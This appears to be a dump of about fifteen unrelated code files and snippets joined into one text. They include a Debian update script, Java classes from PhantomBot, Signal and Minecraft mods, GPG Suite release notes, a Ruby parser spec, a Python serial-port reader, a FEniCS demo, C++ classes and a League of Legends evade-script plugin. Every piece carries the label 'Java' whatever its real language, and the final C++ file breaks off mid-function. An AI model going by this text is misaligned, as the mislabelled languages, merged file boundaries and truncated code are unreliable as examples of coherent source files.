#Coded by:FadyHazem/V2.0 Support:LinuxMint-Ubuntu-Debian.
#You can recodeing this script but yo must typing the own of this script(FadyHazem).
echo "Welcome i will help you to update your system."
sleep 4
echo "This script support:LinuxMint-Ubuntu-Debian"
sleep 2
read -p "What's your distro name?:" DISTRO
echo "Now updateing $DISTRO"
sleep 3
echo "Now loading..."
sleep 4
sudo apt-get update && sudo apt-get upgrade
| Java |
/*
* Copyright (C) 2017 phantombot.tv
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package me.mast3rplan.phantombot.event.ytplayer;
import me.mast3rplan.phantombot.twitchwsirc.Channel;
import me.mast3rplan.phantombot.ytplayer.YTPlayerState;
public class YTPlayerStateEvent extends YTPlayerEvent {
private final YTPlayerState state;
public YTPlayerStateEvent(YTPlayerState state) {
this.state = state;
}
public YTPlayerStateEvent(YTPlayerState state, Channel channel) {
super(channel);
this.state = state;
}
public YTPlayerState getState() {
return state;
}
public int getStateId() {
return state.i;
}
}
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_102) on Tue Feb 21 18:04:04 GMT 2017 -->
<title>gate.chineseSeg (${plugin.name} JavaDoc)</title>
<meta name="date" content="2017-02-21">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<h1 class="bar"><a href="../../gate/chineseSeg/package-summary.html" target="classFrame">gate.chineseSeg</a></h1>
<div class="indexContainer">
<h2 title="Classes">Classes</h2>
<ul title="Classes">
<li><a href="ChineseSegMain.html" title="class in gate.chineseSeg" target="classFrame">ChineseSegMain</a></li>
<li><a href="ConstantParameters.html" title="class in gate.chineseSeg" target="classFrame">ConstantParameters</a></li>
<li><a href="TestChineseSegMain.html" title="class in gate.chineseSeg" target="classFrame">TestChineseSegMain</a></li>
</ul>
<h2 title="Enums">Enums</h2>
<ul title="Enums">
<li><a href="RunMode.html" title="enum in gate.chineseSeg" target="classFrame">RunMode</a></li>
</ul>
</div>
</body>
</html>
| Java |
package com.plasmablazer.tutorialmod.proxy;
public interface IProxy
{
}
| Java |
using System;
namespace org.btg.Star.Rhapsody
{
public struct SkeletalPoint
{
public int x
{
get;
set;
}
public int y
{
get;
set;
}
public int z
{
get;
set;
}
public SkeletalPointType type
{
get;
set;
}
}
} | Java |
GPG Suite 2015.09
=================
September 24th, 2015
GPGMail 2.6b2
-------------
### Pre-release version info
* This beta will be disabled, once the next stable version of GPGMail is released. If you want to continue using GPGMail after that, you will have to acquire a valid license.
### Adds support for OS X 10.11 El Capitan
* GPGMail has been updated to support the latest OS from Apple. Enjoy!
### Bugfixes
* Greatly improves reliability
* Fixes the appearance of the security indicator to look better as a toolbar item
* Properly displays error messages when a gpg operation fails as the user attemtps to send a message.
* The signature detail view is now properly displayed again.
* Fixes an issue where the sign and encrypt status were not properly saved in the draft and hence couldn't be properly restored when continuing editing a draft.
GPGMail 2.5.2
-------------
### Smooth upgrade to El Capitan
* Instead of seeing the "incompatible Bundle"-message, when you launch Mail with GPGMail installed after upgrading to El Capitan, you will have the option to install our newest beta for El Capitan or disable GPGMail
### Bugfixes
* GPGMail handles binary pgp messages as expected again. The regression was introduced in GPG Suite 2015.08. [#843]
* Adds better support for variants of inline PGP in HTML messages.
Libmacgpg 0.6.1
---------------
### Bugfixes
* The most common crash in GPG suite 2015.08 was a crash in Libmacgpg when parsing PGP messages. [#150]
| Java |
package org.thoughtcrime.securesms.jobs;
import androidx.annotation.NonNull;
import org.thoughtcrime.securesms.dependencies.ApplicationDependencies;
import org.thoughtcrime.securesms.jobmanager.Data;
import org.thoughtcrime.securesms.jobmanager.Job;
import org.thoughtcrime.securesms.jobmanager.impl.NetworkConstraint;
import org.thoughtcrime.securesms.logging.Log;
import org.thoughtcrime.securesms.crypto.UnidentifiedAccessUtil;
import org.thoughtcrime.securesms.database.IdentityDatabase.VerifiedStatus;
import org.thoughtcrime.securesms.recipients.RecipientId;
import org.thoughtcrime.securesms.recipients.RecipientUtil;
import org.thoughtcrime.securesms.util.Base64;
import org.thoughtcrime.securesms.recipients.Recipient;
import org.thoughtcrime.securesms.util.TextSecurePreferences;
import org.whispersystems.libsignal.IdentityKey;
import org.whispersystems.libsignal.InvalidKeyException;
import org.whispersystems.signalservice.api.SignalServiceMessageSender;
import org.whispersystems.signalservice.api.crypto.UntrustedIdentityException;
import org.whispersystems.signalservice.api.messages.multidevice.SignalServiceSyncMessage;
import org.whispersystems.signalservice.api.messages.multidevice.VerifiedMessage;
import org.whispersystems.signalservice.api.push.SignalServiceAddress;
import org.whispersystems.signalservice.api.push.exceptions.PushNetworkException;
import java.io.IOException;
import java.util.concurrent.TimeUnit;
public class MultiDeviceVerifiedUpdateJob extends BaseJob {
public static final String KEY = "MultiDeviceVerifiedUpdateJob";
private static final String TAG = MultiDeviceVerifiedUpdateJob.class.getSimpleName();
private static final String KEY_DESTINATION = "destination";
private static final String KEY_IDENTITY_KEY = "identity_key";
private static final String KEY_VERIFIED_STATUS = "verified_status";
private static final String KEY_TIMESTAMP = "timestamp";
private RecipientId destination;
private byte[] identityKey;
private VerifiedStatus verifiedStatus;
private long timestamp;
public MultiDeviceVerifiedUpdateJob(@NonNull RecipientId destination, IdentityKey identityKey, VerifiedStatus verifiedStatus) {
this(new Job.Parameters.Builder()
.addConstraint(NetworkConstraint.KEY)
.setQueue("__MULTI_DEVICE_VERIFIED_UPDATE__")
.setLifespan(TimeUnit.DAYS.toMillis(1))
.setMaxAttempts(Parameters.UNLIMITED)
.build(),
destination,
identityKey.serialize(),
verifiedStatus,
System.currentTimeMillis());
}
private MultiDeviceVerifiedUpdateJob(@NonNull Job.Parameters parameters,
@NonNull RecipientId destination,
@NonNull byte[] identityKey,
@NonNull VerifiedStatus verifiedStatus,
long timestamp)
{
super(parameters);
this.destination = destination;
this.identityKey = identityKey;
this.verifiedStatus = verifiedStatus;
this.timestamp = timestamp;
}
@Override
public @NonNull Data serialize() {
return new Data.Builder().putString(KEY_DESTINATION, destination.serialize())
.putString(KEY_IDENTITY_KEY, Base64.encodeBytes(identityKey))
.putInt(KEY_VERIFIED_STATUS, verifiedStatus.toInt())
.putLong(KEY_TIMESTAMP, timestamp)
.build();
}
@Override
public @NonNull String getFactoryKey() {
return KEY;
}
@Override
public void onRun() throws IOException, UntrustedIdentityException {
try {
if (!TextSecurePreferences.isMultiDevice(context)) {
Log.i(TAG, "Not multi device...");
return;
}
if (destination == null) {
Log.w(TAG, "No destination...");
return;
}
SignalServiceMessageSender messageSender = ApplicationDependencies.getSignalServiceMessageSender();
Recipient recipient = Recipient.resolved(destination);
VerifiedMessage.VerifiedState verifiedState = getVerifiedState(verifiedStatus);
SignalServiceAddress verifiedAddress = RecipientUtil.toSignalServiceAddress(context, recipient);
VerifiedMessage verifiedMessage = new VerifiedMessage(verifiedAddress, new IdentityKey(identityKey, 0), verifiedState, timestamp);
messageSender.sendMessage(SignalServiceSyncMessage.forVerified(verifiedMessage),
UnidentifiedAccessUtil.getAccessFor(context, recipient));
} catch (InvalidKeyException e) {
throw new IOException(e);
}
}
private VerifiedMessage.VerifiedState getVerifiedState(VerifiedStatus status) {
VerifiedMessage.VerifiedState verifiedState;
switch (status) {
case DEFAULT: verifiedState = VerifiedMessage.VerifiedState.DEFAULT; break;
case VERIFIED: verifiedState = VerifiedMessage.VerifiedState.VERIFIED; break;
case UNVERIFIED: verifiedState = VerifiedMessage.VerifiedState.UNVERIFIED; break;
default: throw new AssertionError("Unknown status: " + verifiedStatus);
}
return verifiedState;
}
@Override
public boolean onShouldRetry(@NonNull Exception exception) {
return exception instanceof PushNetworkException;
}
@Override
public void onFailure() {
}
public static final class Factory implements Job.Factory<MultiDeviceVerifiedUpdateJob> {
@Override
public @NonNull MultiDeviceVerifiedUpdateJob create(@NonNull Parameters parameters, @NonNull Data data) {
try {
RecipientId destination = RecipientId.from(data.getString(KEY_DESTINATION));
VerifiedStatus verifiedStatus = VerifiedStatus.forState(data.getInt(KEY_VERIFIED_STATUS));
long timestamp = data.getLong(KEY_TIMESTAMP);
byte[] identityKey = Base64.decode(data.getString(KEY_IDENTITY_KEY));
return new MultiDeviceVerifiedUpdateJob(parameters, destination, identityKey, verifiedStatus, timestamp);
} catch (IOException e) {
throw new AssertionError(e);
}
}
}
}
| Java |
require_relative '../../spec_helper'
describe TypedRb::TypeSignature::Parser do
it 'parses a unit type' do
result = described_class.parse('unit')
expect(result).to eq(:unit)
end
it 'parses an atomic type' do
result = described_class.parse('Bool')
expect(result).to eq('Bool')
end
it 'parses a generic type' do
result = described_class.parse('Array[Bool]')
expect(result).to eq({:type => 'Array',
:parameters => [{:type => 'Bool', :kind => :type_var}],
:kind => :generic_type})
end
it 'parses a nested generic type' do
result = described_class.parse('Array[Array[Integer]]')
expect(result).to eq({:type=>'Array',
:parameters => [
{:type=>'Array',
:parameters => [{
:type => 'Integer',
:kind => :type_var
}],
:kind => :generic_type }
],
:kind => :generic_type})
end
it 'parses a nested generic type with multiple type arguments' do
result = described_class.parse('Array[Hash[Symbol][String]]')
expect(result).to eq({:type=>'Array',
:parameters => [
{:type=>'Hash',
:parameters => [{
:type => 'Symbol',
:kind => :type_var
}, {
:type => 'String',
:kind => :type_var
}],
:kind => :generic_type }
],
:kind => :generic_type})
end
it 'parses an atomic rest type' do
result = described_class.parse('Bool...')
expect(result).to eq({:type => 'Array',
:parameters => ['Bool'],
:kind => :rest})
end
it 'parses a type var rest type' do
result = described_class.parse('[T]...')
expect(result).to eq({:type => 'Array',
:parameters => [{:type=>"T", :kind => :type_var}],
:kind => :rest})
end
it 'parses a function type' do
result = described_class.parse('Bool -> Int')
expect(result).to eq(['Bool', 'Int'])
end
it 'parses applied type parameters in signatures' do
result = described_class.parse('Bool... -> Array[Bool]')
expect(result[0]).to eq({:type => 'Array',
:parameters => ['Bool'],
:kind => :rest})
expect(result[1]).to eq({:type => 'Array',
:parameters => [{:type=>"Bool", :kind=>:type_var}],
:kind => :generic_type})
end
it 'parses applied type parameters in signatures' do
result = described_class.parse('Bool... -> Array[T < Bool]')
expect(result[0]).to eq({:type => 'Array',
:parameters => ['Bool'],
:kind => :rest})
expect(result[1]).to eq({:type => 'Array',
:parameters => [{:type =>"T", :kind =>:type_var, :bound => 'Bool', :binding => '<'}],
:kind => :generic_type})
end
it 'parses applied type parameters in signatures' do
result = described_class.parse('Bool... -> Array[T > Bool]')
expect(result[0]).to eq({:type => 'Array',
:parameters => ['Bool'],
:kind => :rest})
expect(result[1]).to eq({:type => 'Array',
:parameters => [{:type =>"T", :kind =>:type_var, :bound => 'Bool', :binding => '>'}],
:kind => :generic_type})
end
it 'parses a complex type' do
result = described_class.parse('Bool -> Int -> Bool')
expect(result).to eq(['Bool', 'Int', 'Bool'])
end
it 'parses a complex type using unit' do
result = described_class.parse('Bool -> Int -> unit')
expect(result).to eq(['Bool', 'Int', :unit])
end
it 'parses a types with parentheses' do
result = described_class.parse('(Bool -> Int) -> Bool')
expect(result).to eq([['Bool', 'Int'], 'Bool'])
end
it 'parses a types with parentheses in the return type' do
result = described_class.parse('Bool -> (Int -> Bool)')
expect(result).to eq(['Bool', ['Int', 'Bool']])
end
it 'parses a types with parentheses in the complex return type' do
result = described_class.parse('Bool -> (Int -> (Bool -> Int))')
expect(result).to eq(['Bool', ['Int', ['Bool', 'Int']]])
end
it 'parses a types with complex parentheses' do
result = described_class.parse('(Bool -> Bool) -> (Bool -> Int)')
expect(result).to eq([['Bool', 'Bool'], ['Bool', 'Int']])
end
it 'parses a types with complex parentheses' do
result = described_class.parse('(Bool -> Bool) -> (Bool -> Int) -> (Int -> Int)')
expect(result).to eq([['Bool', 'Bool'], ['Bool', 'Int'], ['Int', 'Int']])
end
it 'parses a types with complex compound parentheses' do
result = described_class.parse('((Bool -> Bool) -> (Bool -> Int)) -> (Bool -> Int)')
expect(result).to eq([[['Bool','Bool'], ['Bool', 'Int']], ['Bool', 'Int']])
end
it 'parses unbalanced type expressions' do
result = described_class.parse('Bool -> Int -> (Bool -> Int) -> Int')
expect(result).to eq(['Bool','Int', ['Bool','Int'], 'Int'])
end
it 'parses unbalanced type expressions with just return types' do
result = described_class.parse('Bool -> Int -> (-> Int) -> Int')
expect(result).to eq(['Bool','Int', ['Int'], 'Int'])
end
it 'parses expressions with only return type' do
result = described_class.parse(' -> Int')
expect(result).to eq(['Int'])
end
it 'parses type variables' do
result = described_class.parse('[X]')
expect(result).to eq({:type => 'X', :kind => :type_var })
end
it 'parses type variables with lower binding' do
result = described_class.parse('[X < Numeric]')
expect(result).to eq({:type => 'X', :kind => :type_var, :bound => 'Numeric', :binding => '<' })
end
it 'parses type variables with lower binding' do
result = described_class.parse('[X > Numeric]')
expect(result).to eq({:type => 'X', :kind => :type_var, :bound => 'Numeric', :binding => '>' })
end
it 'parses return type variables' do
result = described_class.parse(' -> [X]')
expect(result).to eq([{:type => 'X', :kind => :type_var }])
end
it 'parses type variables in both sides' do
result = described_class.parse('[X<String] -> [Y]')
expect(result).to eq([{:type => 'X', :bound => 'String', :kind => :type_var, :binding => '<' },
{:type => 'Y', :kind => :type_var }])
end
it 'parses type variables in complex expressions' do
result = described_class.parse('[X] -> ([Y] -> Integer)')
expect(result).to eq([{:type => 'X', :kind => :type_var },
[{:type => 'Y', :kind => :type_var },
'Integer']])
end
it 'parses a block' do
result = described_class.parse('Int -> unit -> &(String -> Integer)')
expect(result).to eq(['Int', :unit, {:block => ['String', 'Integer'], :kind => :block_arg}])
end
it 'parses parametric types' do
result = described_class.parse('Array[X] -> [X]')
expect(result).to eq([{:type => "Array",
:parameters => [{:type => "X", :kind => :type_var}],
:kind => :generic_type},
{:type => "X",
:kind => :type_var}])
end
it 'parses parametric types with multiple var types' do
result = described_class.parse('Int -> (Bool -> Array[X][Y][Z])')
expect(result).to eq(["Int", ["Bool", {:type => "Array",
:parameters => [{:type => "X", :kind => :type_var},
{:type => "Y", :kind => :type_var},
{:type => "Z", :kind => :type_var}],
:kind => :generic_type}]])
end
it 'parses parametric types with bounds' do
result = described_class.parse('Array[X<Int] -> Hash[T<String][U<Object]')
expect(result).to eq([{:type => "Array",
:parameters => [{:type => "X", :bound => "Int", :binding => '<', :kind => :type_var}],
:kind => :generic_type},
{:type => "Hash",
:parameters => [{:type => "T", :bound => "String", :binding => '<', :kind => :type_var},
{:type => "U", :bound => "Object", :binding => '<', :kind => :type_var}],
:kind => :generic_type}])
end
it 'parses parametric rest arguments' do
result = described_class.parse('Array[X]... -> String')
expect(result).to eq([{:kind=>:rest,
:type=>"Array",
:parameters=>[{:type=>"Array",
:parameters=>[{:type=>"X", :kind=>:type_var}],
:kind=>:generic_type}]},
"String"])
end
it 'parses multiple type variables in sequence' do
result = described_class.parse('[X][Y][Z]')
expect(result).to eq([{:type=>"X", :kind=>:type_var}, {:type=>"Y", :kind=>:type_var}, {:type=>"Z", :kind=>:type_var}])
end
end
| Java |
<form class="form-horizontal" method="POST" action="{{ request.url }}">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title" id="myModalLabel">{{ _('Edit Participant') }}</h4>
</div>
<div class="modal-body" style="padding-bottom:5px; padding-top:20px;">
{{ form.hidden_tag() }}
{%- for field in form -%}
{%- if field.type != 'CSRFTokenField' -%}
<div class="form-group {% if field.errors %}has-error{% endif %}">
{{ field.label(class_='col-sm-3 control-label') }}
<div class="col-sm-7">
{% if field.name == 'supervisor' %}
{{ field(class_='form-control select2-container span3 select2 select2-observers-clear', **{'data-name': participant.supervisor.name, 'data-participant_id': participant.supervisor.participant_id}) }}
{% elif field.name == 'location' %}
{{ field(class_='form-control select2-container span3 select2 select2-locations', **{'data-name': participant.location.name, 'data-location_type': participant.location.location_type}) }}
{% else %}
{{ field(class_='form-control span3') }}
{% endif %}
{% if field.errors %}
{% for e in field.errors %}
<p class="help-block">{{ e }}</p>
{% endfor %}
{% endif %}
</div>
<div class="col-sm-2"></div>
</div>
{%- endif -%}
{%- endfor -%}
</div>
<div class="modal-footer">
<div class="row">
<div class="col-sm-1"></div>
<div class="col-sm-10" style="padding-right:1.8em;">
<button type="submit" style="width:122px;"class="btn btn-primary">{{ _('Save') }}</button>
<button type="button" style="width:122px;"class="btn btn-default" data-dismiss="modal">{{ _('Close') }}</button>
</div>
</div>
</div>
</form>
| Java |
import queue
import logging
import platform
import threading
import datetime as dt
import serial
import serial.threaded
import serial_device
from .or_event import OrEvent
logger = logging.getLogger(__name__)
# Flag to indicate whether queues should be polled.
# XXX Note that polling performance may vary by platform.
POLL_QUEUES = (platform.system() == 'Windows')
class EventProtocol(serial.threaded.Protocol):
def __init__(self):
self.transport = None
self.connected = threading.Event()
self.disconnected = threading.Event()
self.port = None
def connection_made(self, transport):
"""Called when reader thread is started"""
self.port = transport.serial.port
logger.debug('connection_made: `%s` `%s`', self.port, transport)
self.transport = transport
self.connected.set()
self.disconnected.clear()
def data_received(self, data):
"""Called with snippets received from the serial port"""
raise NotImplementedError
def connection_lost(self, exception):
"""\
Called when the serial port is closed or the reader loop terminated
otherwise.
"""
if isinstance(exception, Exception):
logger.debug('Connection to port `%s` lost: %s', self.port,
exception)
else:
logger.debug('Connection to port `%s` closed', self.port)
self.connected.clear()
self.disconnected.set()
class KeepAliveReader(threading.Thread):
'''
Keep a serial connection alive (as much as possible).
Parameters
----------
state : dict
State dictionary to share ``protocol`` object reference.
comport : str
Name of com port to connect to.
default_timeout_s : float, optional
Default time to wait for serial operation (e.g., connect).
By default, block (i.e., no time out).
**kwargs
Keyword arguments passed to ``serial_for_url`` function, e.g.,
``baudrate``, etc.
'''
def __init__(self, protocol_class, comport, **kwargs):
super(KeepAliveReader, self).__init__()
self.daemon = True
self.protocol_class = protocol_class
self.comport = comport
self.kwargs = kwargs
self.protocol = None
self.default_timeout_s = kwargs.pop('default_timeout_s', None)
# Event to indicate serial connection has been established.
self.connected = threading.Event()
# Event to request a break from the run loop.
self.close_request = threading.Event()
# Event to indicate thread has been closed.
self.closed = threading.Event()
# Event to indicate an exception has occurred.
self.error = threading.Event()
# Event to indicate that the thread has connected to the specified port
# **at least once**.
self.has_connected = threading.Event()
@property
def alive(self):
return not self.closed.is_set()
def run(self):
# Verify requested serial port is available.
try:
if self.comport not in (serial_device
.comports(only_available=True).index):
raise NameError('Port `%s` not available. Available ports: '
'`%s`' % (self.comport,
', '.join(serial_device.comports()
.index)))
except NameError as exception:
self.error.exception = exception
self.error.set()
self.closed.set()
return
while True:
# Wait for requested serial port to become available.
while self.comport not in (serial_device
.comports(only_available=True).index):
# Assume serial port was disconnected temporarily. Wait and
# periodically check again.
self.close_request.wait(2)
if self.close_request.is_set():
# No connection is open, so nothing to close. Just quit.
self.closed.set()
return
try:
# Try to open serial device and monitor connection status.
logger.debug('Open `%s` and monitor connection status',
self.comport)
device = serial.serial_for_url(self.comport, **self.kwargs)
except serial.SerialException as exception:
self.error.exception = exception
self.error.set()
self.closed.set()
return
except Exception as exception:
self.error.exception = exception
self.error.set()
self.closed.set()
return
else:
with serial.threaded.ReaderThread(device, self
.protocol_class) as protocol:
self.protocol = protocol
connected_event = OrEvent(protocol.connected,
self.close_request)
disconnected_event = OrEvent(protocol.disconnected,
self.close_request)
# Wait for connection.
connected_event.wait(None if self.has_connected.is_set()
else self.default_timeout_s)
if self.close_request.is_set():
# Quit run loop. Serial connection will be closed by
# `ReaderThread` context manager.
self.closed.set()
return
self.connected.set()
self.has_connected.set()
# Wait for disconnection.
disconnected_event.wait()
if self.close_request.is_set():
# Quit run loop.
self.closed.set()
return
self.connected.clear()
# Loop to try to reconnect to serial device.
def write(self, data, timeout_s=None):
'''
Write to serial port.
Waits for serial connection to be established before writing.
Parameters
----------
data : str or bytes
Data to write to serial port.
timeout_s : float, optional
Maximum number of seconds to wait for serial connection to be
established.
By default, block until serial connection is ready.
'''
self.connected.wait(timeout_s)
self.protocol.transport.write(data)
def request(self, response_queue, payload, timeout_s=None,
poll=POLL_QUEUES):
'''
Send
Parameters
----------
device : serial.Serial
Serial instance.
response_queue : Queue.Queue
Queue to wait for response on.
payload : str or bytes
Payload to send.
timeout_s : float, optional
Maximum time to wait (in seconds) for response.
By default, block until response is ready.
poll : bool, optional
If ``True``, poll response queue in a busy loop until response is
ready (or timeout occurs).
Polling is much more processor intensive, but (at least on Windows)
results in faster response processing. On Windows, polling is
enabled by default.
'''
self.connected.wait(timeout_s)
return request(self, response_queue, payload, timeout_s=timeout_s,
poll=poll)
def close(self):
self.close_request.set()
# - - context manager, returns protocol
def __enter__(self):
"""\
Enter context handler. May raise RuntimeError in case the connection
could not be created.
"""
self.start()
# Wait for protocol to connect.
event = OrEvent(self.connected, self.closed)
event.wait(self.default_timeout_s)
return self
def __exit__(self, *args):
"""Leave context: close port"""
self.close()
self.closed.wait()
def request(device, response_queue, payload, timeout_s=None, poll=POLL_QUEUES):
'''
Send payload to serial device and wait for response.
Parameters
----------
device : serial.Serial
Serial instance.
response_queue : Queue.Queue
Queue to wait for response on.
payload : str or bytes
Payload to send.
timeout_s : float, optional
Maximum time to wait (in seconds) for response.
By default, block until response is ready.
poll : bool, optional
If ``True``, poll response queue in a busy loop until response is
ready (or timeout occurs).
Polling is much more processor intensive, but (at least on Windows)
results in faster response processing. On Windows, polling is
enabled by default.
'''
device.write(payload)
if poll:
# Polling enabled. Wait for response in busy loop.
start = dt.datetime.now()
while not response_queue.qsize():
if (dt.datetime.now() - start).total_seconds() > timeout_s:
raise queue.Empty('No response received.')
return response_queue.get()
else:
# Polling disabled. Use blocking `Queue.get()` method to wait for
# response.
return response_queue.get(timeout=timeout_s)
| Java |
__author__ = "Harish Narayanan"
__copyright__ = "Copyright (C) 2009 Simula Research Laboratory and %s" % __author__
__license__ = "GNU GPL Version 3 or any later version"
from cbc.twist import *
from sys import argv
""" DEMO - Twisting of a hyperelastic cube """
class Twist(StaticHyperelasticity):
""" Definition of the hyperelastic problem """
def mesh(self):
n = 8
return UnitCubeMesh(n, n, n)
# Setting up dirichlet conditions and boundaries
def dirichlet_values(self):
clamp = Expression(("0.0", "0.0", "0.0"))
twist = Expression(("0.0",
"y0 + (x[1] - y0) * cos(theta) - (x[2] - z0) * sin(theta) - x[1]",
"z0 + (x[1] - y0) * sin(theta) + (x[2] - z0) * cos(theta) - x[2]"),
y0=0.5, z0=0.5, theta=pi/6)
return [clamp, twist]
def dirichlet_boundaries(self):
left = "x[0] == 0.0"
right = "x[0] == 1.0"
return [left, right]
# List of material models
def material_model(self):
# Material parameters can either be numbers or spatially
# varying fields. For example,
mu = 3.8461
lmbda = Expression("x[0]*5.8 + (1 - x[0])*5.7")
C10 = 0.171; C01 = 4.89e-3; C20 = -2.4e-4; C30 = 5.e-4
delka = 1.0/sqrt(2.0)
M = Constant((0.0,1.0,0.0))
k1 = 1e2; k2 = 1e1
materials = []
materials.append(MooneyRivlin({'C1':mu/2, 'C2':mu/2, 'bulk':lmbda}))
materials.append(StVenantKirchhoff({'mu':mu, 'bulk':lmbda}))
materials.append(neoHookean({'half_nkT':mu, 'bulk':lmbda}))
materials.append(Isihara({'C10':C10,'C01':C01,'C20':C20,'bulk':lmbda}))
materials.append(Biderman({'C10':C10,'C01':C01,'C20':C20,'C30':C30,'bulk':lmbda}))
materials.append(AnisoTest({'mu1':mu,'mu2':2*mu,'M':M,'bulk':lmbda}))
materials.append(GasserHolzapfelOgden({'mu':mu,'k1':k1,'k2':k2,'M':M,'bulk':lmbda}))
materials.append(Ogden({'alpha1':1.3,'alpha2':5.0,'alpha3':-2.0,\
'mu1':6.3e5,'mu2':0.012e5,'mu3':-0.1e5}))
try:
index = int(argv[1])
except:
index = 2
print str(materials[index])
return materials[index]
def name_method(self, method):
self.method = method
def __str__(self):
return "A hyperelastic cube twisted by 30 degrees solved by " + self.method
# Setup the problem
twist = Twist()
twist.name_method("DISPLACEMENT BASED FORMULATION")
# Solve the problem
print twist
twist.solve()
| Java |
#include "house2.h"
int House2::objCount = 0;
GImage *House2::image = nullptr;
House2::House2(int x, int y)
{
posx = x;
posy = y;
width = 336;
height = 366;
if(!objCount)
image = new GImage("./assets/house-a.gif",width,height,GImage::IS_TRANSPARENT,0);
objCount++;
if(Debug::debug_enable())
std::cout << "House2 " << objCount-1 << " created" << std::endl;
}
House2::~House2()
{
objCount--;
if(!objCount)
delete image;
if(Debug::debug_enable())
std::cout << "House2 " << objCount << " destroyed" << std::endl;
}
bool House2::show(int x)
{
if(posx-x+width >= 0 && posx-x <= 800)
{
image->show(posx-x,posy);
return 1;
}
return 0;
}
| Java |
package com.silvermatch.advancedMod.block;
import com.silvermatch.advancedMod.init.ModBlocks;
import com.silvermatch.advancedMod.reference.Reference;
import com.silvermatch.advancedMod.utility.Names;
import net.minecraft.block.Block;
import net.minecraft.block.material.Material;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.init.Blocks;
import net.minecraft.world.World;
public class BlockFrenchFlag extends BlockAdvancedMod{
public BlockFrenchFlag() {
setBlockName(Names.Blocks.FRENCH_FLAG);
setBlockTextureName(Reference.MOD_ID_LOWER + ":" + Names.Blocks.FRENCH_FLAG);
}
@Override
public boolean onBlockActivated(World world, int x, int y, int z, EntityPlayer entityPlayer, int side, float hitX, float hitY, float hitZ)
{
if (world.isAirBlock(x, y+1, z)){
world.setBlock(x, y+1, z, ModBlocks.frenchFlag);
}
return true;
}
}
| Java |
using System;
using System.Linq;
using LeagueSharp;
using LeagueSharp.Common;
using EloBuddy;
using LeagueSharp.Common;
namespace ezEvade.SpecialSpells
{
class Darius : ChampionPlugin
{
static Darius()
{
// todo: fix for multiple darius' on same team (one for all)
}
public void LoadSpecialSpell(SpellData spellData)
{
if (spellData.spellName == "DariusCleave")
{
Game.OnUpdate += Game_OnUpdate;
SpellDetector.OnProcessSpecialSpell += SpellDetector_OnProcessSpecialSpell;
}
}
private void Game_OnUpdate(EventArgs args)
{
var darius = HeroManager.Enemies.FirstOrDefault(x => x.ChampionName == "Darius");
if (darius != null)
{
foreach (var spell in SpellDetector.detectedSpells.Where(x => x.Value.heroID == darius.NetworkId))
{
spell.Value.startPos = darius.ServerPosition.To2D();
spell.Value.endPos = darius.ServerPosition.To2D() + spell.Value.direction * spell.Value.info.range;
}
}
}
private void SpellDetector_OnProcessSpecialSpell(Obj_AI_Base hero, GameObjectProcessSpellCastEventArgs args, SpellData spellData, SpecialSpellEventArgs specialSpellArgs)
{
if (spellData.spellName == "DariusCleave")
{
//SpellDetector.CreateSpellData(hero, start.To3D(), end.To3D(), spellData);
}
}
}
}
| Java |
// Copyright (C) 1999-2021
// Smithsonian Astrophysical Observatory, Cambridge, MA, USA
// For conditions of distribution and use, see copyright notice in "copyright"
#include "basepolygon.h"
#include "fitsimage.h"
BasePolygon::BasePolygon(Base* p, const Vector& ctr,
const Vector& b)
: Marker(p, ctr, 0)
{
}
BasePolygon::BasePolygon(Base* p, const Vector& ctr,
const Vector& b,
const char* clr, int* dsh,
int wth, const char* fnt, const char* txt,
unsigned short prop, const char* cmt,
const List<Tag>& tg, const List<CallBack>& cb)
: Marker(p, ctr, 0, clr, dsh, wth, fnt, txt, prop, cmt, tg, cb)
{
}
BasePolygon::BasePolygon(Base* p, const List<Vertex>& v,
const char* clr, int* dsh,
int wth, const char* fnt, const char* txt,
unsigned short prop, const char* cmt,
const List<Tag>& tg, const List<CallBack>& cb)
: Marker(p, Vector(0,0), 0, clr, dsh, wth, fnt, txt, prop, cmt, tg, cb)
{
// Vertex list is in ref coords
angle = 0;
vertex = v;
// find center
center = Vector(0,0);
vertex.head();
do
center += vertex.current()->vector;
while (vertex.next());
center /= vertex.count();
// vertices are relative
vertex.head();
do
vertex.current()->vector *= Translate(-center) * FlipY(); // no rotation
while (vertex.next());
updateBBox();
}
BasePolygon::BasePolygon(const BasePolygon& a) : Marker(a)
{
vertex = a.vertex;
}
void BasePolygon::createVertex(int which, const Vector& v)
{
// which segment (1 to n)
// v is in ref coords
Matrix mm = bckMatrix();
int seg = which-1;
if (seg>=0 && seg<vertex.count()) {
Vertex* n = new Vertex(v * mm);
vertex.insert(seg,n);
recalcCenter();
updateBBox();
doCallBack(CallBack::EDITCB);
doCallBack(CallBack::MOVECB); // center can change
}
}
void BasePolygon::deleteVertex(int h)
{
if (h>4) {
int hh = h-4-1;
if (vertex.count() > 3) {
Vertex* v = vertex[hh];
if (v) {
vertex.extractNext(v);
delete v;
recalcCenter();
updateBBox();
doCallBack(CallBack::EDITCB);
doCallBack(CallBack::MOVECB); // center can change
}
}
}
}
void BasePolygon::edit(const Vector& v, int h)
{
if (h < 5) {
Vector s1 = v * bckMatrix();
Vector s2 = bckMap(handle[h-1],Coord::CANVAS);
if (s1[0] != 0 && s1[1] != 0 && s2[0] != 0 && s2[1] != 0) {
double a = fabs(s1[0]/s2[0]);
double b = fabs(s1[1]/s2[1]);
double s = a > b ? a : b;
vertex.head();
do
vertex.current()->vector *= Scale(s);
while (vertex.next());
}
updateBBox();
doCallBack(CallBack::EDITCB);
}
else {
moveVertex(v,h);
updateBBox();
doCallBack(CallBack::EDITCB);
doCallBack(CallBack::MOVECB); // center can change
}
}
void BasePolygon::moveVertex(const Vector& v, int h)
{
